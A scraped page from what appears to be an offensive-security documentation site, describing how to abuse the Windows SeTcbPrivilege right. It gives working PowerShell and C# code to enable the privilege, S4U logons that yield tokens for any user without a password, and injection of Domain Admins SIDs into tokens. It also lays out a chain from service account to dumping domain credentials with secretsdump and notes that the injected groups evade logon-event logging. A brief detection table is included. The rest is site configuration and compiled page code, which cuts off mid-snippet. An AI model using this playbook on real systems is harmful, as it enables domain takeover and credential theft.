Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.
Overview
SeTcbPrivilege (“Act as part of the operating system”) grants full trusted access to the LSA: create logon sessions for any user without their password, and inject arbitrary group SIDs into tokens. The LSA treats a holder as equivalent to SYSTEM.Almost never assigned to non-SYSTEM accounts. When you find it on a service/user account (via GPO/secpol.msc), it is an immediate path to SYSTEM/Domain Admin.
Check if Enabled
whoami /priv | findstr /i "SeTcbPrivilege"
Shows Disabled? Enable it in the current token at runtime:
$code = @"using System;using System.Runtime.InteropServices;public class P { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken(IntPtr p, uint a, out IntPtr t); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool LookupPrivilegeValue(string h, string n, out long l); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool AdjustTokenPrivileges(IntPtr t, bool d, ref TP s, int b, IntPtr p, IntPtr r); [StructLayout(LayoutKind.Sequential)] public struct TP { public int Count; public long Luid; public int Attr; }}"@Add-Type $code$h=[IntPtr]::Zero; [P]::OpenProcessToken([Diagnostics.Process]::GetCurrentProcess().Handle,0x28,[ref]$h)$luid=[long]0; [P]::LookupPrivilegeValue($null,"SeTcbPrivilege",[ref]$luid)$tp=New-Object P+TP; $tp.Count=1; $tp.Luid=$luid; $tp.Attr=2[P]::AdjustTokenPrivileges($h,$false,[ref]$tp,0,[IntPtr]::Zero,[IntPtr]::Zero)
S4U Logon — Token for Any User, No Password
S4U (Service-for-User) lets a trusted process get a logon token for any user without their password. MSV1_0_S4U_LOGON = local users, KERB_S4U_LOGON = domain users (needs DC reachable). Both require LsaRegisterLogonProcess, gated by SeTcbPrivilege.
NtObjectManager (Easiest)
James Forshaw’s module wraps all the LSA marshaling:
LsaLogonUser’s LocalGroups parameter accepts a TOKEN_GROUPS the LSA adds with no validation — put any SID in a token. Inject Domain Admins (S-1-5-21-...-512) into a low-priv user’s token when S4U for a DA fails (DC unreachable):
Injected SIDs do NOT appear in the 4624 logon event group list — stealthy. See Detection below.
Practical Chain — Service Account to Domain Admin
Service account with SeTcbPrivilege (vendor required it), not local admin:
Import-Module NtObjectManager$token = Get-NtToken -S4U -User "da_admin" -Domain "CORP" # or SYSTEM / NT AUTHORITYNew-Win32Process -Token $token -CommandLine "cmd.exe"
# With the DA token — dump the domainimpacket-secretsdump corp.local/da_admin@DC01 -just-dc
Works even under Credential Guard — S4U is a designed LSA feature, not a memory read.
Combine with Other Privileges
+ SeImpersonatePrivilege — ImpersonateLoggedOnUser the S4U token in the current thread.
+ SeAssignPrimaryTokenPrivilege — CreateProcessAsUser with the token as primary (real process, survives thread death).
+ SeCreateTokenPrivilege — enumerate sessions via LSA, forge an indistinguishable token. See SeCreateTokenPrivilege.
Detection
Event ID
Indicator
4611
Trusted logon process registered with LSA — loudest signal; normally only winlogon.exe at boot
4672
Special privileges (SeTcb) on new logon
4624
Logon event — S4U shows as Type 3 (Network)
Quick Reference
Technique
Result
S4U logon (NtObjectManager)
Token for any local/domain user
Group SID injection
Arbitrary group membership (e.g. Domain Admins)
token-priv toolset
Standalone binary, no deps
+ SeImpersonate / SeAssignPrimaryToken
Impersonate / spawn as the token
{"docsConfig":{"theme":"mint","$schema":"https://mintlify.com/docs.json","name":"BookJMP","colors":{"primary":"#ed2d3a","light":"#fff1f2","dark":"#140304"},"favicon":"https://mintcdn.com/bytejmp/PNGtux9fNKsDi2RP/favicon/favicon.ico?fit=max\u0026auto=format\u0026n=PNGtux9fNKsDi2RP\u0026q=85\u0026s=d23092b7015baa744d70a7b48fbc88cc","appearance":{"default":"dark","strict":true},"footer":{"socials":{"github":"https://github.com/bytejmp","x":"https://x.com/ByteJMP"}},"seo":{"indexing":"navigable"},"styling":{"codeblocks":"dark","latex":true},"errors":{"404":{"redirect":false,"title":"Are You Lost?"}},"navigation":{"pages":[]}},"deployment":{"deploymentMetadataValue":{"subdomain":"bytejmp","hasAudioNarration":false,"actualSubdomain":"bytejmp","customDomains":["docs.bytejmp.com"],"gitSource":{"type":"github","owner":"bytejmp","repo":"docs","deployBranch":"main","contentDirectory":"","isPrivate":true,"mountPath":"","label":""},"entitlements":{},"buildId":"6ae947f6bf5f6a4758f1e61c:success","clientVersion":"0.0.4304","searchFilterCounts":[{"language":"default","tag":"Privesc","count":55},{"language":"default","tag":"Active Directory","count":45},{"language":"default","tag":"General","count":38},{"language":"default","tag":"Wi-Fi","count":34},{"language":"default","tag":"Windows","count":34},{"language":"default","tag":"Web","count":23},{"language":"default","tag":"Attacks","count":21},{"language":"default","tag":"Linux","count":20},{"language":"default","tag":"Network","count":19},{"language":"default","tag":"Impacket","count":15}]},"assistantConfig":{"enableAskAiButton":false,"enableStarterQuestions":false,"enableAskAiSearchBar":true},"basePath":"","hasChatPermissions":false,"hasWebMcpPermissions":false,"toggles":[{"name":"kill-isr","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-rbac-roles","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-mintlify-slack","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-integrations-settings","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"rbac-expansion","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-pr-grouping","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-prefix","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"analytics-v7","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"user-flows-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"no-publish-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-onboarding","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving-live","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"stripTemperatureMiddleware","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"support-platform-pylon-zendesk","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"instant-rollback","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications-server","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-fable","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fixed-ai-action-pricing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"site-roles","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automation-resolve-merge-conflict","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"scoped-publishing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"mintql","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"page-level-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-version-history-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"billing-page-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"full-page-search","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workspace-projects","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"assistant-v5","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fork-pr-previews","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"revalidation-jwt","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-sso-scim","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"hobby-abuse-scan","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"dashboard-inbox","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-signup","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-dual-write","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-enabled","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"approve-review-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-metadata","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"sso-setup-deadline-banner","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-serve","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"live-agents","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"starter-pricing","enabled":true,"variant":{"name":"control","enabled":true,"payload":{"type":"string","value":"control"},"feature_enabled":true},"impressionData":false},{"name":"llms-txt-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"wildcard-email-auth","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false}],"googleFontsInlined":false},"customCss":[]}
{"page":{"pagePath":"windows-privesc/setcb","slug":"/windows-privesc/setcb","pageMetadata":{"title":"SeTcbPrivilege","description":"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.","href":"/windows-privesc/setcb"},"description":{"compiledSource":"\"use strict\";\nconst {jsx: _jsx} = arguments[0];\nconst {useMDXComponents: _provideComponents} = arguments[0];\nfunction _createMdxContent(props) {\n const _components = {\n p: \"p\",\n ..._provideComponents(),\n ...props.components\n };\n return _jsx(_components.p, {\n children: \"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.\"\n });\n}\nfunction MDXContent(props = {}) {\n const {wrapper: MDXLayout} = {\n ..._provideComponents(),\n ...props.components\n };\n return MDXLayout ? _jsx(MDXLayout, {\n ...props,\n children: _jsx(_createMdxContent, {\n ...props\n })\n }) : _createMdxContent(props);\n}\nreturn {\n default: MDXContent\n};\n","frontmatter":{},"scope":{}},"pageType":"default","mdx":{"mdxSource":{"compiledSource":"\"use strict\";const{Fragment:_Fragment,jsx:_jsx,jsxs:_jsxs}=arguments[0];const{useMDXComponents:_provideComponents}=arguments[0];function _createMdxContent(props){const _components={a:`a`,code:`code`,hr:`hr`,li:`li`,p:`p`,pre:`pre`,span:`span`,strong:`strong`,tbody:`tbody`,td:`td`,th:`th`,thead:`thead`,tr:`tr`,ul:`ul`,..._provideComponents(),...props.components},{CodeBlock,Heading,Table,Warning}=_components;if(!CodeBlock)_missingMdxReference(`CodeBlock`,true);if(!Heading)_missingMdxReference(`Heading`,true);if(!Table)_missingMdxReference(`Table`,true);if(!Warning)_missingMdxReference(`Warning`,true);return _jsxs(_Fragment,{children:[_jsx(Heading,{level:`2`,id:`overview`,children:`Overview`}),`\n`,_jsxs(_components.p,{children:[_jsx(_components.code,{children:`SeTcbPrivilege`}),` (“Act as part of the operating system”) grants full trusted access to the LSA: create logon sessions for any user without their password, and inject arbitrary group SIDs into tokens. The LSA treats a holder as equivalent to SYSTEM.`]}),`\n`,_jsxs(_components.p,{children:[`Almost never assigned to non-SYSTEM accounts. When you find it on a service/user account (via GPO/`,_jsx(_components.code,{children:`secpol.msc`}),`), it is an immediate path to SYSTEM/Domain Admin.`]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`check-if-enabled`,children:`Check if Enabled`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`vb`,children:_jsx(_components.pre,{className:`shiki shiki-themes dark-plus dark-plus`,style:{backgroundColor:`#0B0C0E`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},language:`vb`,children:_jsxs(_components.code,{language:`vb`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`whoami`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` /`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`priv`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` | `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`findstr`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` /`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`i`}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:` \"SeTcbPrivilege\"`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`Shows `,_jsx(_components.strong,{children:`Disabled`}),`? Enable it in the current token at runtime:`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`15`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes dark-plus dark-plus`,style:{backgroundColor:`#0B0C0E`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`15`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$code`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`@\"`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`using System;`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`using System.Runtime.InteropServices;`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`public class P {`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:` [DllImport(\"advapi32.dll\", SetLastError=true)] public static extern bool OpenProcessToken(IntPtr p, uint a, out IntPtr t);`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:` [DllImport(\"advapi32.dll\", SetLastError=true)] public static extern bool LookupPrivilegeValue(string h, string n, out long l);`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:` [DllImport(\"advapi32.dll\", SetLastError=true)] public static extern bool AdjustTokenPrivileges(IntPtr t, bool d, ref TP s, int b, IntPtr p, IntPtr r);`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:` [StructLayout(LayoutKind.Sequential)] public struct TP { public int Count; public long Luid; public int Attr; }`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`}`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"@`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Add-Type`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:` $code`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$h`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`=[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`IntPtr`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::Zero; [`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`P`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::OpenProcessToken([`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`Diagnostics.Process`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::GetCurrentProcess().Handle,`}),_jsx(_components.span,{style:{color:`#B5CEA8`,\"--shiki-dark\":`#B5CEA8`},children:`0x28`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`ref`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$h`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$luid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`=[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`long`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]`}),_jsx(_components.span,{style:{color:`#B5CEA8`,\"--shiki-dark\":`#B5CEA8`},children:`0`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`; [`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`P`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::LookupPrivilegeValue(`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`$null`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,`}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"SeTcbPrivilege\"`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`ref`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$luid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$tp`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`New-Object`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` P+TP; `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$tp`}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`.Count`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#B5CEA8`,\"--shiki-dark\":`#B5CEA8`},children:`1`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`; `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$tp`}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`.Luid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$luid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`; `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$tp`}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`.Attr`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#B5CEA8`,\"--shiki-dark\":`#B5CEA8`},children:`2`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`P`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::AdjustTokenPrivileges(`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$h`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`$false`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`ref`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$tp`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,`}),_jsx(_components.span,{style:{color:`#B5CEA8`,\"--shiki-dark\":`#B5CEA8`},children:`0`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`,[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`IntPtr`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::Zero,[`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:`IntPtr`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:`]::Zero)`})]}),`\n`]})})}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`s4u-logon-—-token-for-any-user-no-password`,children:`S4U Logon — Token for Any User, No Password`}),`\n`,_jsxs(_components.p,{children:[`S4U (Service-for-User) lets a trusted process get a logon token for any user without their password. `,_jsx(_components.code,{children:`MSV1_0_S4U_LOGON`}),` = local users, `,_jsx(_components.code,{children:`KERB_S4U_LOGON`}),` = domain users (needs DC reachable). Both require `,_jsx(_components.code,{children:`LsaRegisterLogonProcess`}),`, gated by SeTcbPrivilege.`]}),`\n`,_jsx(Heading,{level:`3`,id:`ntobjectmanager-easiest`,children:`NtObjectManager (Easiest)`}),`\n`,_jsx(_components.p,{children:`James Forshaw’s module wraps all the LSA marshaling:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`12`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes dark-plus dark-plus`,style:{backgroundColor:`#0B0C0E`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`12`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Install-Module`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` NtObjectManager -Force`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Import-Module`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` NtObjectManager`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6A9955`,\"--shiki-dark\":`#6A9955`},children:`# Local user`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtToken`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -S4U -User `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"Administrator\"`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Domain `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$env:COMPUTERNAME`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6A9955`,\"--shiki-dark\":`#6A9955`},children:`# Domain user`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtToken`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -S4U -User `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"domainadmin\"`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Domain `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"CORP\"`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6A9955`,\"--shiki-dark\":`#6A9955`},children:`# Inject extra group (e.g. local Administrators)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$sid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtSid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -KnownSid BuiltinAdministrators`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtToken`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -S4U -User `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"lowpriv\"`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Domain 